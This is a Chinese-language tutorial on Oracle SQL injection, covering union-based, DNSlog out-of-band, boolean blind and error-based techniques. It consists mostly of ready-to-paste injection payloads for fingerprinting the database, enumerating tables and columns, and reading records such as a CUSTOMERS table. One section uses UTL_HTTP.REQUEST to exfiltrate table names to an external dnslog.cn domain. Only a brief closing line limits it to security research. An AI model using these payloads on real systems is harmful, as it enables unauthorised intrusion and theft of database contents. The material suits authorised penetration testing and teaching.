Oracle数据库利用教程
字数 952 2025-08-15 21:31:56
Oracle数据库注入技术详解
一、联合注入
1.1 判断注入点存在
- 使用经典逻辑测试:
and 1=1(返回正常)和and 1=2(返回异常) - 观察页面返回差异判断是否存在SQL注入漏洞
1.2 判断数据库为Oracle
- Oracle特有注释符号:
-- - 测试多语句支持:Oracle不支持多行查询,MSSQL支持
- 使用Oracle特有系统表测试:
and (select count(*) from user_tables)>0--dual表和user_tables表是Oracle特有系统表- 返回正常则可确定为Oracle数据库
1.3 获取基本信息
1.3.1 获取字段数
- 使用
order by N递增测试,根据页面返回判断字段数
1.3.2 判断列数据类型
union select '1','a','3','4','5' from dual --
- 返回正常则对应字段为数字型,返回错误则为字符型
1.3.3 获取数据库版本
union select '1',(select banner from sys.v_$version where rownum=1),'3','4','5' from dual --
1.3.4 查询表结构
- 获取第一个表名:
union select '1',(select table_name from user_tables where rownum=1),'3','4','5' from dual --
- 获取第二个表名(排除已获取的表):
union select '1',(select table_name from user_tables where rownum=1 and table_name<>'表名'),'3','4','5' from dual --
-
获取字段名:
- 第一个字段名:
union select '1',(select column_name from user_tab_columns where table_name='CUSTOMERS' and rownum=1),'3','4','5' from dual --- 第二个字段名:
union select '1',(select column_name from user_tab_columns where table_name='CUSTOMERS' and rownum=1 and column_name<>'id'),'3','4','5' from dual --- 第三个字段名:
select column_name from user_tab_columns where table_name='[表名]' and rownum=1 and column_name<>'[第一个字段]' and column_name<>'[第二个字段名]'
1.3.5 读取数据
union select '1',age,NAME,'4','5' from CUSTOMERS --
二、DNSlog注入
2.1 准备工作
- 访问http://www.dnslog.cn/申请一个域名
2.2 UTL_HTTP.REQUEST型注入
- 获取表名:
and 1=2 union select '1','2',UTL_HTTP.REQUEST((select table_name from user_tables where rownum=1)||'.o69syg.dnslog.cn'),'4','5' from dual --
- 获取字段名:
union select '1','2',UTL_HTTP.REQUEST((select column_name from user_tab_columns where table_name='CUSTOMERS' and rownum=1)||'.o69syg.dnslog.cn '),'4','5' from dual --
2.3 UTL_INADDR.GET_HOST_ADDRESS型DNSlog注入
- 原理类似,使用不同Oracle函数
三、布尔盲注
3.1 获取表数量
and (select count(table_name) from user_tables)>1--
3.2 获取表名长度
and (select length(table_name) from user_tables where rownum=1)>8--
3.3 获取表名字符
and ascii(substr((select table_name from user_tables where rownum=1),3,1))>82--
四、报错注入
4.1 使用dbms_xdb_version.checkin()函数
- 获取数据库版本:
and (select dbms_xdb_version.checkin((select banner from sys.v_$version where rownum=1)) from dual) is not null--
- 获取当前数据库用户:
and (select dbms_xdb_version.checkin((select user from dual)) from dual) is not null--
关键注意事项
-
Oracle特有系统表:
dual- 虚拟表user_tables- 用户表信息user_tab_columns- 表字段信息sys.v_$version- 版本信息
-
Oracle字符串连接使用
||而非+ -
盲注时注意Oracle的
rownum限制,常用于获取第一条记录 -
DNSlog注入需要数据库有外网访问权限
-
报错注入函数
dbms_xdb_version.checkin()需要足够权限 -
测试时建议先使用
and 1=2确保不影响原查询结果
以上技术仅用于安全研究,未经授权测试他人系统可能构成违法行为。